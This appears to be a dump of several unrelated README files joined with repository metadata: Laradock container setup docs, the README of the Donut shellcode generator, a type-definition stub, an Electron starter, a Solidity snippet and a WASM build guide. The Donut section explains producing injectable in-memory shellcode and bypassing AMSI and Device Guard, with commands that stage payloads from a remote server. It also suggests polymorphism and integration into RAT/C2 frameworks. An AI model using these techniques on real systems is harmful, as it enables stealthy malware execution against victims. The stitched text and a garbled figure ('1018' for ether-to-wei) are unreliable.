## Install NPM GULP toolkit

To install NPM GULP toolkit in the Workspace container

1 - Open the `.env` file

2 - Search for the `WORKSPACE_INSTALL_NPM_GULP` argument under the Workspace Container and set it to `true`

3 - Re-build the container `docker-compose build workspace`

## Install NPM BOWER package manager

To install NPM BOWER package manager in the Workspace container

1 - Open the `.env` file

2 - Search for the `WORKSPACE_INSTALL_NPM_BOWER` argument under the Workspace Container and set it to `true`

3 - Re-build the container `docker-compose build workspace`

## Install NPM VUE CLI

To install NPM VUE CLI in the Workspace container

1 - Open the `.env` file

2 - Search for the `WORKSPACE_INSTALL_NPM_VUE_CLI` argument under the Workspace Container and set it to `true`

3 - Re-build the container `docker-compose build workspace`

## Install NPM ANGULAR CLI

To install NPM ANGULAR CLI in the Workspace container

1 - Open the `.env` file

2 - Search for the `WORKSPACE_INSTALL_NPM_ANGULAR_CLI` argument under the Workspace Container and set it to `true`

3 - Re-build the container `docker-compose build workspace`

## Install Linuxbrew

Linuxbrew is a package manager for Linux. It is the Linux version of MacOS Homebrew and can be found [here](http://linuxbrew.sh). To install Linuxbrew in the Workspace container:

1 - Open the `.env` file

2 - Search for the `WORKSPACE_INSTALL_LINUXBREW` argument under the Workspace Container and set it to `true`

3 - Re-build the container `docker-compose build workspace`

## Install FFMPEG

To install FFMPEG in the Workspace container

1 - Open the `.env` file

2 - Search for the `WORKSPACE_INSTALL_FFMPEG` argument under the Workspace Container and set it to `true`

3 - Re-build the container `docker-compose build workspace`

4 - If you use the `php-worker` container too, please follow the same steps above especially if you have conversions that have been queued.

**PS** Don't forget to install the binary in the `php-fpm` container too by applying the same steps above to its container, otherwise the you'll get an error when running the `php-ffmpeg` binary.

## Install GNU Parallel

GNU Parallel is a command line tool to run multiple processes in parallel.

(see https://www.gnu.org/software/parallel/parallel_tutorial.html)

To install GNU Parallel in the Workspace container

1 - Open the `.env` file

2 - Search for the `WORKSPACE_INSTALL_GNU_PARALLEL` argument under the Workspace Container and set it to `true`

3 - Re-build the container `docker-compose build workspace`

## Common Terminal Aliases
When you start your docker container, Laradock will copy the `aliases.sh` file located in the `laradock/workspace` directory and add sourcing to the container `~/.bashrc` file.

You are free to modify the `aliases.sh` as you see fit, adding your own aliases (or function macros) to suit your requirements.

## Install Aerospike extension

1 - First install `aerospike` in the Workspace and the PHP-FPM Containers:

a) open the `.env` file

b) search for the `WORKSPACE_INSTALL_AEROSPIKE` argument under the Workspace Container

c) set it to `true`

d) search for the `PHP_FPM_INSTALL_AEROSPIKE` argument under the PHP-FPM Container

e) set it to `true`

2 - Re-build the containers `docker-compose build workspace php-fpm`

## Install Laravel Envoy (Envoy Task Runner)

1 - Open the `.env` file

2 - Search for the `WORKSPACE_INSTALL_LARAVEL_ENVOY` argument under the Workspace Container

3 - Set it to `true`

4 - Re-build the containers `docker-compose build workspace`

[**Laravel Envoy Documentation Here**](https://laravel.com/docs/5.3/envoy)

## Install php calendar extension

1 - Open the `.env` file

2 - Search for the `PHP_FPM_INSTALL_CALENDAR` argument under the PHP-FPM container

3 - Set it to `true`

4 - Re-build the containers `docker-compose build php-fpm`

## Install libfaketime in the php-fpm container
Libfaketime allows you to control the date and time that is returned from the operating system.
It can be used by specifying a special string in the `PHP_FPM_FAKETIME` variable in the `.env` file.
For example:
`PHP_FPM_FAKETIME=-1d`
will set the clock back 1 day. See (https://github.com/wolfcw/libfaketime) for more information.

1 - Open the `.env` file

2 - Search for the `PHP_FPM_INSTALL_FAKETIME` argument under the PHP-FPM container

3 - Set it to `true`

4 - Search for the `PHP_FPM_FAKETIME` argument under the PHP-FPM container

5 - Set it to the desired string

6 - Re-build the containers `docker-compose build php-fpm`

## Install YAML PHP extension in the php-fpm container
YAML PHP extension allows you to easily parse and create YAML structured data. I like YAML because it's well readable for humans. See http://php.net/manual/en/ref.yaml.php and http://yaml.org/ for more info.

1 - Open the `.env` file

2 - Search for the `PHP_FPM_INSTALL_YAML` argument under the PHP-FPM container

3 - Set it to `true`

4 - Re-build the container `docker-compose build php-fpm`

## PHPStorm Debugging Guide
Remote debug Laravel web and phpunit tests.

[**Debugging Guide Here**](/guides/#PHPStorm-Debugging)

## Keep track of your Laradock changes

1. Fork the Laradock repository.
2. Use that fork as a submodule.
3. Commit all your changes to your fork.
4. Pull new stuff from the main repository from time to time.

## Upgrading Laradock

Moving from Docker Toolbox (VirtualBox) to Docker Native (for Mac/Windows). Requires upgrading Laradock from v3.* to v4.*:

1. Stop the docker VM `docker-machine stop {default}`
2. Install Docker for [Mac](https://docs.docker.com/docker-for-mac/) or [Windows](https://docs.docker.com/docker-for-windows/).
3. Upgrade Laradock to `v4.*.*` (`git pull origin master`)
4. Use Laradock as you used to do: `docker-compose up -d nginx mysql`.

**Note:** If you face any problem with the last step above: rebuild all your containers
`docker-compose build --no-cache`
"Warning Containers Data might be lost!"

## Improve speed on MacOS

Docker on the Mac [is slow](https://github.com/docker/for-mac/issues/77), at the time of writing. Especially for larger projects, this can be a problem. The problem is [older than March 2016](https://forums.docker.com/t/file-access-in-mounted-volumes-extremely-slow-cpu-bound/8076) - as it's a such a long-running issue, we're including it in the docs here.

So since sharing code into Docker containers with osxfs have very poor performance compared to Linux. Likely there are some workarounds:

### Workaround A: using dinghy

[Dinghy](https://github.com/codekitchen/dinghy) creates its own VM using docker-machine, it will not modify your existing docker-machine VMs.

Quick Setup giude, (we recommend you check their docs)

1) `brew tap codekitchen/dinghy`

2) `brew install dinghy`

3) `dinghy create --provider virtualbox` (must have virtualbox installed, but they support other providers if you prefer)

4) after the above command is done it will display some env variables, copy them to the bash profile or zsh or.. (this will instruct docker to use the server running inside the VM)

5) `docker-compose up ...`

### Workaround B: using d4m-nfs

You can use the d4m-nfs solution in 2 ways, the first is by using the built-in Laradock integration, and the second is using the tool separately. Below is show case of both methods:

### B.1: using the built in d4m-nfs integration

In simple terms, docker-sync creates a docker container with a copy of all the application files that can be accessed very quickly from the other containers.
On the other hand, docker-sync runs a process on the host machine that continuously tracks and updates files changes from the host to this intermediate container.

Out of the box, it comes pre-configured for OS X, but using it on Windows is very easy to set-up by modifying the `DOCKER_SYNC_STRATEGY` on the `.env`

#### Usage

Laradock comes with `sync.sh`, an optional bash script, that automates installing, running and stopping docker-sync.  Note that to run the bash script you may need to change the permissions `chmod 755 sync.sh`

1) Configure your Laradock environment as you would normally do and test your application to make sure that your sites are running correctly.

2) Make sure to set `DOCKER_SYNC_STRATEGY` on the `.env`. Read the [syncing strategies](https://github.com/EugenMayer/docker-sync/wiki/8.-Strategies) for details.
```
# osx: 'native_osx' (default)
# windows: 'unison'
# linux: docker-sync not required

DOCKER_SYNC_STRATEGY=native_osx
```

3) set `APP_CODE_CONTAINER_FLAG` to `APP_CODE_CONTAINER_FLAG=:nocopy` in the .env file

4) Install the docker-sync gem on the host-machine:
```bash
./sync.sh install
```
5) Start docker-sync and the Laradock environment.
Specify the services you want to run, as you would normally do with `docker-compose up`
```bash
./sync.sh up nginx mysql
```
Please note that the first time docker-sync runs, it will copy all the files to the intermediate container and that may take a very long time (15min+).
6) To stop the environment and docker-sync do:
```bash
./sync.sh down
```

#### Setting up Aliases (optional)

You may create bash profile aliases to avoid having to remember and type these commands for everyday development.
Add the following lines to your `~/.bash_profile`:

```bash
alias devup="cd /PATH_TO_LARADOCK/laradock; ./sync.sh up nginx mysql" #add your services
alias devbash="cd /PATH_TO_LARADOCK/laradock; ./sync.sh bash"
alias devdown="cd /PATH_TO_LARADOCK/laradock; ./sync.sh down"
```

Now from any location on your machine, you can simply run `devup`, `devbash` and `devdown`.

#### Additional Commands

Opening bash on the workspace container (to run artisan for example):
 ```bash
 ./sync.sh bash
 ```
Manually triggering the synchronization of the files:
```bash
./sync.sh sync
```
Removing and cleaning up the files and the docker-sync container. Use only if you want to rebuild or remove docker-sync completely. The files on the host will be kept untouched.
```bash
./sync.sh clean
```

#### Additional Notes

- You may run laradock with or without docker-sync at any time using with the same `.env` and `docker-compose.yml`, because the configuration is overridden automatically when docker-sync is used.
- You may inspect the `sync.sh` script to learn each of the commands and even add custom ones.
- If a container cannot access the files on docker-sync, you may need to set a user on the Dockerfile of that container with an id of 1000 (this is the UID that nginx and php-fpm have configured on laradock). Alternatively, you may change the permissions to 777, but this is **not** recommended.

Visit the [docker-sync documentation](https://github.com/EugenMayer/docker-sync/wiki) for more details.

### B.2: using the d4m-nfs tool

[D4m-nfs](https://github.com/IFSight/d4m-nfs) automatically mount NFS volume instead of osxfs one.

1) Update the Docker [File Sharing] preferences:

Click on the Docker Icon > Preferences > (remove everything form the list except `/tmp`).

2) Restart Docker.

3) Clone the [d4m-nfs](https://github.com/IFSight/d4m-nfs) repository to your `home` directory.

```bash
git clone https://github.com/IFSight/d4m-nfs ~/d4m-nfs
```

4) Create (or edit) the file `~/d4m-nfs/etc/d4m-nfs-mounts.txt`, and write the following configuration in it:

```txt
/Users:/Users
```

5) Create (or edit) the file `/etc/exports`, make sure it exists and is empty. (There may be collisions if you come from Vagrant or if you already executed the `d4m-nfs.sh` script before).

6) Run the `d4m-nfs.sh` script (might need Sudo):

```bash
~/d4m-nfs/d4m-nfs.sh
```

That's it! Run your containers.. Example:

```bash
docker-compose up ...
```

*Note: If you faced any errors, try restarting Docker, and make sure you have no spaces in the `d4m-nfs-mounts.txt` file, and your `/etc/exports` file is clear.*

## Common Problems

*Here's a list of the common problems you might face, and the possible solutions.*

## I see a blank (white) page instead of the Laravel 'Welcome' page!

Run the following command from the Laravel root directory:

```bash
sudo chmod -R 777 storage bootstrap/cache
```

## I see "Welcome to nginx" instead of the Laravel App!

Use `http://<IP_ADDRESS>` instead of `http://localhost` in your browser.

## I see an error message containing `address already in use` or `port is already allocated`

Make sure the ports for the services that you are trying to run (22, 80, 443, 3306, etc.) are not being used already by other programs on the host, such as a built in `apache`/`httpd` service or other development tools you have installed.

## I get NGINX error 404 Not Found on Windows.

1. Go to docker Settings on your Windows machine.
2. Click on the `Shared Drives` tab and check the drive that contains your project files.
3. Enter your windows username and password.
4. Go to the `reset` tab and click restart docker.

## The time in my services does not match the current time

1. Make sure you've [changed the timezone](#Change-the-timezone).
2. Stop and rebuild the containers (`docker-compose up -d --build <services>`)

## I get MySQL connection refused

This error sometimes happens because your Laravel application isn't running on the container localhost IP (Which is <IP_ADDRESS>). Steps to fix it:

* Option A
  1. Check your running Laravel application IP by dumping `Request::ip()` variable using `dd(Request::ip())` anywhere on your application. The result is the IP of your Laravel container.
  2. Change the `DB_HOST` variable on env with the IP that you received from previous step.
* Option B
   1. Change the `DB_HOST` value to the same name as the MySQL docker container. The Laradock docker-compose file currently has this as `mysql`

## I get stuck when building nginx on `fetch http://mirrors.aliyun.com/alpine/v3.5/main/x86_64/APKINDEX.tar.gz`

As stated on [#749](https://github.com/laradock/laradock/issues/749#issuecomment-419652646), Already fixed，just set `CHANGE_SOURCE` to false.

## Custom composer repo packagist url and npm registry url

In China, the origin source of composer and npm is very slow. You can add `WORKSPACE_NPM_REGISTRY` and `WORKSPACE_COMPOSER_REPO_PACKAGIST` config in `.env` to use your custom source.

Example:
```bash
WORKSPACE_NPM_REGISTRY=https://registry.npm.taobao.org
WORKSPACE_COMPOSER_REPO_PACKAGIST=https://packagist.phpcomposer.com
```

## I get `Module build failed: Error: write EPIPE` while compiling react application

When you run `npm build` or `yarn dev` building a react application using webpack with elixir you may receive a `Error: write EPIPE` while processing .jpg images.

This is caused of an outdated library for processing **.jpg files** in ubuntu 16.04.

To fix the problem you can follow those steps

1 - Open the `.env`.

2 - Search for `WORKSPACE_INSTALL_LIBPNG` or add the key if missing.

3 - Set the value to true:

```dotenv
WORKSPACE_INSTALL_LIBPNG=true
```

4 - Finally rebuild the workspace image

```bash
docker-compose build workspace
```

repository: lukasbesch/laradock-bedrock

gha_language: Dockerfile

repo_name: lukasbesch/laradock-bedrock


text:
# Using Donut

![Alt text](https://github.com/TheWover/donut/blob/master/img/donut.PNG?raw=true "An ASCII donut")

Version: 0.9.2 *please submit issues and requests for v1.0 release*

Odzhan's blog post (about the generator): https://modexp.wordpress.com/2019/05/10/dotnet-loader-shellcode/

TheWover's blog post (detailed walkthrough, and about how donut affects tradecraft): https://thewover.github.io/Introducing-Donut/

v0.9.2 release blog post: https://thewover.github.io/Bear-Claw/

## Introduction

Donut generates x86 or x64 shellcode from VBScript, JScript, EXE, DLL (including .NET Assemblies) files. This shellcode can be injected into an arbitrary Windows process for in-memory execution. Given a supported file type, parameters and an entry point where applicable (such as Program.Main), it produces position-independent shellcode that loads and runs entirely from memory. A module created by donut can either be staged from a URL or stageless by being embedded directly in the shellcode. Either way, the module is encrypted with the Chaskey block cipher and a 128-bit randomly generated key. After the file is loaded through the PE/ActiveScript/CLR loader, the original reference is erased from memory to deter memory scanners. For .NET Assemblies, they are loaded into a new Application Domain to allow for running Assemblies in disposable AppDomains.

It can be used in several ways.

## As a Standalone Tool

Donut can be used as-is to generate shellcode from VBS/JS/EXE/DLL files or .NET Assemblies. A Linux and Windows executable and a Python module are provided for loader generation. The Python documentation can be found [here](https://github.com/TheWover/donut/blob/master/docs/2019-08-21-Python_Extension.md). The command-line syntax is as described below.

```
 usage: donut [options] <EXE/DLL/VBS/JS>

       Only the finest artisanal donuts are made of shells.

                   -MODULE OPTIONS-

       -n <name>            Module name. Randomly generated by default with entropy enabled.
       -u <URL>             HTTP server that will host the donut module.
       -e <level>           Entropy. 1=disable, 2=use random names, 3=random names + symmetric encryption (default)

                   -PIC/SHELLCODE OPTIONS-

       -a <arch>            Target architecture : 1=x86, 2=amd64, 3=x86+amd64(default).
       -b <level>           Bypass AMSI/WLDP : 1=skip, 2=abort on fail, 3=continue on fail.(default)
       -o <outfile_file>    Default is "loader.bin"
       -f <format>          Output format. 1=raw (default), 2=base64, 3=c, 4=ruby, 5=python, 6=powershell, 7=C#, 8=hex
       -y                   Create new thread for entrypoint and return handle to caller. Default uses existing thread.
       -x <action>          Exiting. 1=exit thread (default), 2=exit process

                   -FILE OPTIONS-

       -c <namespace.class> Optional class name.  (required for .NET DLL)
       -d <name>            AppDomain name to create for .NET. Randomly generated by default with entropy enabled.
       -m <method | api>    Optional method or API name for DLL. (a method is required for .NET DLL)
       -p <parameters>      Optional parameters/command line inside quotations for DLL method/function or EXE.
       -w                   Command line is passed to unmanaged DLL function as ANSI. (default is UNICODE)
       -r <version>         CLR runtime version. MetaHeader used by default or v4.0.30319 if none available.
       -t                   Create new thread for entrypoint of unmanaged EXE.
       -z <engine>          Pack/Compress file. 1=disable, 2=LZNT1, 3=Xpress, 4=Xpress Huffman

 examples:

    donut c2.dll
    donut -a1 -cTestClass -mRunProcess -pnotepad.exe loader.dll
    donut loader.dll -c TestClass -m RunProcess -p"calc notepad" -u http://remote_server.com/modules/
```

### Building Donut

Tags have been provided for each release version of donut that contain the compiled executables.

* v0.9.2, Bear Claw: https://github.com/TheWover/donut/releases/tag/v0.9.2
* v0.9.2 Beta: https://github.com/TheWover/donut/releases/tag/v0.9.2
* v0.9.1, Apple Fritter: https://github.com/TheWover/donut/releases/tag/v0.9.1
* v0.9, Initial Release: https://github.com/TheWover/donut/releases/tag/v0.9

However, you may also clone and build the source yourself using the provided makefiles.

## Building From Repository

From a Windows command prompt or Linux terminal, clone the repository and change to the donut directory.

```
git clone http://github.com/thewover/donut
cd donut
```

## Linux

Simply run make to generate an executable, static and dynamic libraries.

```
make
make clean
make debug
```

## Windows

Start a Microsoft Visual Studio Developer Command Prompt and `` cd `` to donut's directory. The Microsft (non-gcc) Makefile can be specified with ``` -f Makefile.msvc ```. The makefile provides the following commmands to build donut:

```
nmake -f Makefile.msvc
nmake clean -f Makefile.msvc
nmake debug -f Makefile.msvc
```

## As a Library

donut can be compiled as both dynamic and static libraries for both Linux (*.a* / *.so*) and Windows(*.lib* / *.dll*). It has a simple API that is described in *docs/api.html*. Two exported functions are provided: ``` int DonutCreate(PDONUT_CONFIG c) ``` and ``` int DonutDelete(PDONUT_CONFIG c) ``` .

## As a Python Module

Donut can be installed and used as a Python module. To install Donut from your current directory, use pip for Python3.

```
pip install .
```

Otherwise, you may install Donut as a Python module by grabbing it from the PyPi repostiory.

```
pip install donut-shellcode
```

## As a Template - Rebuilding the shellcode

*loader/* contains the in-memory execution code for EXE/DLL/VBS/JS and .NET assemblies, which should successfully compile with both Microsoft Visual Studio and MinGW-w64. Make files have been provided for both compilers. Whenever files in the loader directory have been changed, recompiling for all architectures is recommended before rebuilding donut.

### Microsoft Visual Studio

**Due to recent changes in the MSVC compiler, we now only support MSVC versions 2019 and later.**

Open the x64 Microsoft Visual Studio build environment, switch to the *loader* directory, and type the following:

```
nmake clean -f Makefile.msvc
nmake -f Makefile.msvc
```

This should generate a 64-bit executable (*loader.exe*) from *loader.c*. exe2h will then extract the shellcode from the *.text* segment of the PE file and save it as a C array to *loader_exe_x64.h*. When donut is rebuilt, this new shellcode will be used for all loaders that it generates.

To generate 32-bit shellcode, open the x86 Microsoft Visual Studio build environment, switch to the loader directory, and type the following:

```
nmake clean -f Makefile.msvc
nmake x86 -f Makefile.msvc
```

This will save the shellcode as a C array to *loader_exe_x86.h*.

### MinGW-W64

If you're on Linux and *MinGW-W64* has been installed from packages or source, you can rebuild the shellcode using *Makefile.mingw*. Change to the *loader* directory and type the following for the AMD64 shellcode:

```
make -f Makefile.mingw
```

For the x86 shellcode, simply use the x86 label.

```
make -f Makefile.mingw x86
```

Once you've recompiled for all architectures, you may rebuild donut.

## Bypasses

Donut includes a bypass system for AMSI and other security features. Currently we bypass:

* AMSI in .NET v4.8
* Device Guard policy preventing dynamicly generated code from executing

You may customize our bypasses or add your own. The bypass logic is defined in loader/bypass.c.

Each bypass implements the DisableAMSI fuction with the signature ```BOOL DisableAMSI(PDONUT_INSTANCE inst)```, and comes with a corresponding preprocessor directive. We have several ```#if defined``` blocks that check for definitions. Each block implements the same bypass function. For instance, our first bypass is called ```BYPASS_AMSI_A```. If donut is built with that variable defined, then that bypass will be used.

Why do it this way? Because it means that only the bypass you are using is built into loader.exe. As a result, the others are not included in your shellcode. This reduces the size and complexity of your shellcode, adds modularity to the design, and ensures that scanners cannot find suspicious blocks in your shellcode that you are not actually using.

Another benefit of this design is that you may write your own AMSI bypass. To build Donut with your new bypass, use an ```if defined``` block for your bypass and modify the makefile to add an option that builds with the name of your bypass defined.

If you wanted to, you could extend our bypass system to add in other pre-execution logic that runs before your .NET Assembly is loaded.

Odzhan wrote a [blog post](https://modexp.wordpress.com/2019/06/03/disable-amsi-wldp-dotnet/) on the details of our AMSI bypass research.

### Additional features.

These are left as exercises to the reader. I would personally recommend:

* Add environmental keying
* Make donut polymorphic by obfuscating *loader* every time shellcode is generated
* Integrate donut as a module into your favorite RAT/C2 Framework

## Disclaimers

* No, we will not update donut to counter signatures or detections by any AV.
* We are not responsible for any misuse of this software or technique. Donut is provided as a demonstration of CLR Injection through shellcode in order to provide red teamers a way to emulate adversaries and defenders a frame of reference for building analytics and mitigations. This inevitably runs the risk of malware authors and threat actors misusing it. However, we believe that the net benefit outweighs the risk. Hopefully that is correct.

# How it works

## Procedure for Assemblies

Donut uses the Unmanaged CLR Hosting API to load the Common Language Runtime. If necessary, the Assembly is downloaded into memory. Either way, it is decrypted using the Chaskey block cipher. Once the CLR is loaded into the host process, a new AppDomain will be created using a random name unless otherwise specified. Once the AppDomain is ready, the .NET Assembly is loaded through AppDomain.Load_3. Finally, the Entry Point specified by the user is invoked with any specified parameters.

The logic above describes how the shellcode generated by donut works. That logic is defined in *loader.exe*. To get the shellcode, *exe2h* extracts the compiled machine code from the *.text* segment in *loader.exe* and saves it as a C array to a C header file. *donut* combines the shellcode with a Donut Instance (a configuration for the shellcode) and a Donut Module (a structure containing the .NET assembly, class name, method name and any parameters).

Refer to MSDN for documentation on the Undocumented CLR Hosting API: https://docs.microsoft.com/en-us/dotnet/framework/unmanaged-api/hosting/clr-hosting-interfaces

For a standalone example of a CLR Host, refer to Casey Smith's AssemblyLoader repo: https://github.com/caseysmithrc/AssemblyLoader

Detailed blog posts about how donut works are available at both Odzhan's and TheWover's blogs. Links are at the top of the README.

## Procedure for ActiveScript

The details of how Donut loads scripts from memory have been detailed by Odzhan in a [blog post](https://modexp.wordpress.com/2019/07/21/inmem-exec-script/).

## Procedure for PE Loading

The details of how Donut loads PE files from memory have been detailed by Odzhan in a [blog post](https://modexp.wordpress.com/2019/06/24/inmem-exec-dll/).

Only PE files with relocation information (.reloc) are supported. TLS callbacks are only executed for the initial execution of entrypoint.

## Components

Donut contains the following elements:

* donut.c: The source code for the donut loader generator.
* donut.exe: The compiled loader generator as an EXE.
* donut.py: The donut loader generator as a Python script *(planned for version 1.0)*
* donutmodule.c: The CPython wrapper for Donut. Used by the Python module.
* setup.py: The setup file for installing Donut as a Pip Python3 module.
* lib/donut.dll, lib/donut.lib: Donut as a dynamic and static library for use in other projects on Windows platform.
* lib/donut.so, lib/donut.a: Donut as a dynamic and static library for use in other projects on the Linux platform.
* lib/donut.h: Header file to include if using the static or dynamic libraries in a C/C++ project.
* loader/loader.c: Main file for the shellcode.
* loader/inmem_dotnet.c: In-Memory loader for .NET EXE/DLL assemblies.
* loader/inmem_pe.c: In-Memory loader for EXE/DLL files.
* loader/inmem_script.c: In-Memory loader for VBScript/JScript files.
* loader/activescript.c: ActiveScriptSite interface required for in-memory execution of VBS/JS files.
* loader/wscript.c: Supports a number of WScript methods that cscript/wscript support.
* loader/bypass.c: Functions to bypass Anti-malware Scan Interface (AMSI) and Windows Local Device Policy (WLDP).
* loader/http_client.c: Downloads a module from remote staging server into memory.
* loader/peb.c: Used to resolve the address of DLL functions via Process Environment Block (PEB).
* loader/clib.c: Replaces common C library functions like memcmp, memcpy and memset.
* loader/inject.exe: The compiled C shellcode injector.
* loader/inject.c: A C shellcode injector that injects loader.bin into a specified process for testing.
* loader/runsc.c: A C shellcode runner for testing loader.bin in the simplest manner possible.
* loader/runsc.exe: The compiled C shellcode runner.
* loader/exe2h/exe2h.c: Source code for exe2h.
* loader/exe2h/exe2h.exe: Extracts the useful machine code from loader.exe and saves as array to C header file.
* encrypt.c: Chaskey 128-bit block cipher in Counter (CTR) mode used for encryption.
* hash.c: Maru hash function. Uses the Speck 64-bit block cipher with Davies-Meyer construction for API hashing.

# Subprojects

There are three companion projects provided with donut:

* DemoCreateProcess: A sample .NET Assembly to use in testing. Takes two command-line parameters that each specify a program to execute.
* DonutTest: A simple C# shellcode injector to use in testing donut. The shellcode must be base64 encoded and copied in as a string.
* ModuleMonitor: A proof-of-concept tool that detects CLR injection as it is done by tools such as donut and Cobalt Strike's execute-assembly.
* ProcessManager: A Process Discovery tool that offensive operators may use to determine what to inject into and defensive operators may use to determine what is running, what properties those processes have, and whether or not they have the CLR loaded.

# Project plan

* ~~Create a donut Python C extension that allows users to write Python programs that can use the donut API programmatically. It would be written in C, but exposed as a Python module.~~
* ~~Create a C# version of the generator.~~
* Create a donut.py generator that uses the same command-line parameters as donut.exe.
* Add support for HTTP proxies.
* ~~Find ways to simplify the shellcode if possible.~~
* Write a blog post on how to integrate donut into your tooling, debug it, customize it, and design loaders that work with it.
* ~~Dynamic Calls to DLL functions.~~
* ~~Handle the ProcessExit event from AppDomain using unmanaged code.~~

branch_name: refs/heads/master

extension: md

license_type: permissive


text:
# Installation
> `npm install --save @types/keygrip`

# Summary
This package contains type definitions for keygrip (https://github.com/crypto-utils/keygrip).

# Details
Files were exported from https://github.com/DefinitelyTyped/DefinitelyTyped/tree/master/types/keygrip.

### Additional Details
 * Last updated: Thu, 26 Dec 2019 18:59:55 GMT
 * Dependencies: none
 * Global values: none

# Credits
These definitions were written by jKey Lu (https://github.com/jkeylu).

license: MIT,Unlicense

repository: diegopacheco/scala-playground

detected_licenses: MIT Unlicense

gha_language: Scala

gha_license_id: Unlicense

repo_name: diegopacheco/scala-playground


text:
# electron-react-typescript-starter

[![CircleCI](https://circleci.com/gh/niederschlag/electron-react-typescript-starter/tree/master.svg?style=svg)](https://circleci.com/gh/niederschlag/electron-react-typescript-starter/tree/master) [![Known Vulnerabilities](https://snyk.io/test/github/niederschlag/electron-react-typescript-starter/badge.svg?targetFile=package.json)](https://snyk.io/test/github/niederschlag/electron-react-typescript-starter?targetFile=package.json)

This is a modificiation of the great [electron-react-boilerplate](https://github.com/iRath96/electron-react-typescript-boilerplate).

[Electron](http://electron.atom.io/) application boilerplate based on [React](https://facebook.github.io/react), [Redux](https://github.com/reactjs/redux), [React Router](https://github.com/reactjs/react-router), [Webpack](http://webpack.github.io/docs/), [React Transform HMR](https://github.com/gaearon/react-transform-hmr) and [TypeScript](https://github.com/Microsoft/TypeScript) for rapid application development.
In addition to that, [Jest](https://github.com/facebook/jest), [TSLint](https://github.com/palantir/tslint) and [Sass](https://sass-lang.com)

## Run
Run this command to start the app

```bash
$ yarn dev
```

or run these two commands __simultaneously__ in different console tabs.
```bash
$ yarn hot-server
$ yarn start-hot
```

## DevTools
### DevTools extension
This boilerplate is included following DevTools extensions:
* [Devtron](https://github.com/electron/devtron) - Install via [electron-debug](https://github.com/sindresorhus/electron-debug).
* [React Developer Tools](https://github.com/facebook/react-devtools) - Install via [electron-devtools-installer](https://github.com/GPMDP/electron-devtools-installer).
* [Redux DevTools](https://github.com/zalmoxisus/redux-devtools-extension) - Install via [electron-devtools-installer](https://github.com/GPMDP/electron-devtools-installer).

You can find the tabs on Chrome DevTools.

If you want to update extensions version, please set `UPGRADE_EXTENSIONS` env, just run:

```bash
$ UPGRADE_EXTENSIONS=1 yarn dev

# For Windows
$ set UPGRADE_EXTENSIONS=1 && yarn dev
```

## CSS Modules
This boilerplate out of the box is configured to use [css-modules](https://github.com/css-modules/css-modules).

All `.css` file extensions will use css-modules unless it has `.global.css`.

If you need global styles, stylesheets with `.global.css` will not go through the
css-modules loader. e.g. `app.global.css`

If you want to import global css libraries (like `bootstrap`), you can just write the following code in `.global.css`:

```css
@import "~bootstrap/dist/css/bootstrap.css";
```

## Packaging
To package apps for the local platform:

```bash
$ yarn package
```

To package apps for all platforms:

First, refer to [Multi Platform Build](https://github.com/electron-userland/electron-builder/wiki/Multi-Platform-Build) for dependencies.

Then,
```bash
$ yarn package-all
```

To package apps with options:

```bash
$ yarn package -- --[option]
```

## Further commands
To run the application without packaging run

```bash
$ yarn build
$ yarn start
```

To run End-to-End Test

```bash
$ yarn build
$ yarn test-e2e
```

#### Options
See [electron-builder CLI Usage](https://github.com/electron-userland/electron-builder#cli-usage)

#### Module Structure
This boilerplate uses a [two package.json structure](https://github.com/electron-userland/electron-builder#two-packagejson-structure).

1. If the module is native to a platform or otherwise should be included with the published package (i.e. bcrypt, openbci), it should be listed under `dependencies` in `./app/package.json`.
2. If a module is `import`ed by another module, include it in `dependencies` in `./package.json`.   See [this ESLint rule](https://github.com/benmosher/eslint-plugin-import/blob/master/docs/rules/no-extraneous-dependencies.md).
3. Otherwise, modules used for building, testing and debugging should be included in `devDependencies` in `./package.json`.

## Static Type Checking
This project comes with Flow support out of the box! You can annotate your code with types, [get Flow errors as ESLint errors](https://github.com/amilajack/eslint-plugin-flowtype-errors), and get [type errors during runtime](https://github.com/gcanti/babel-plugin-tcomb-boilerplate) during development. Types are completely optional.

## Native-like UI
If you want to have native-like User Interface (OS X El Capitan and Windows 10), [react-desktop](https://github.com/gabrielbull/react-desktop) may perfect suit for you.

license: MIT

gha_language: JavaScript

gha_license_id: MIT


text:
---
title: Ether and Wei
version: 0.7.6
description: An example of Ether and Wei in Solidity
---

Transactions are paid with `ether`.

Similar to how one dollar is equal to 100 cent, one `ether` is equal to 1018 `wei`.

```solidity
{{{EtherUnits}}}
```

branch_name: refs/heads/gh-pages


text:
# How to compile to standalone WASM file

Similar to how java code is compiled and run using the java executable (java.exe) which creates the runtime environment (RTE), C++ can be compiled to WASM and run from a command line that creates an RTE for WASM.

To achieve this, we need to have the tools to compile the C++ code to wasm, and we need a runtime environment.  Here, we will focus on the wasi-sdk and wasmer.

## Compilation

The [wasi-sdk](https://github.com/WebAssembly/wasi-sdk) provides the tools to compile the code to WASM; in particular, it provides the clang compiler, necessary C++ header files, sysroot directory, etc.  You can download the latest release from Releases (as of this writing, it is [here](https://github.com/WebAssembly/wasi-sdk/releases/tag/wasi-sdk-15)).  A separate package, [wasienv](https://github.com/wasienv/wasienv), is supposed to make it easier to use wasi-sdk with cmake; as of this writing wasienv does not include the latest release of wasi-sdk, and it feels like the project is left is disrepair -- last update is more than a year ago, but it might worth giving it a crack, adapting some of its code.

We hope that wasienv is update in the coming months.

To compile, I am using

    /home/aous/wasi-sdk-15.0/bin/clang --sysroot=/home/aous/wasi-sdk-15.0/share/wasi-sysroot/ ...

It is worth nothing that as of this writing wasi-sdk and wasmer do not support C++ exceptions.  This is a complication, because it requires the user to remove all try, throw, and catch statements. It also requires modifying ```new``` to ```new (std::nothrow)```, which requires the addition of ```#include <new>```.  This situation is expected be resolved in the coming months because there is a standard for WASM exceptions; these can be activated by passing the clang commandline flag ```-fwasm-exceptions```.

This folder has the ```build.sh``` script; put this script in the ```OpenJPH/bin``` folder, and use it to build ojph_expand.wasm, ojph_expand_simd.wasm, ojph_compress.wasm, and ojph_compress_simd.wasm, after removing the offending exception generating code (hopefully this is a temporary solution). Perhaps, it is useful to have a separate tree for this modified code.

## Runtime Environment (RTE)

For RTE, There are two executables that I am aware of, wasmtime and wasmer. The former is from a nonprofit organization while the latter from a startup.  The authors of wasmer claim that their implementation is faster -- I will go with this. The wasmer RTE, which installs by default to ```.wasmer```, can obtained from https://github.com/wasmerio/wasmer.  To install, use

    curl https://get.wasmer.io -sSfL | sh

To run I am using

    ~/.wasmer/bin/wasmer run --dir=. --enable-all helloworld.wasm -- arguments

Of course, you can include this in the execution path.

## Testing the WASM code

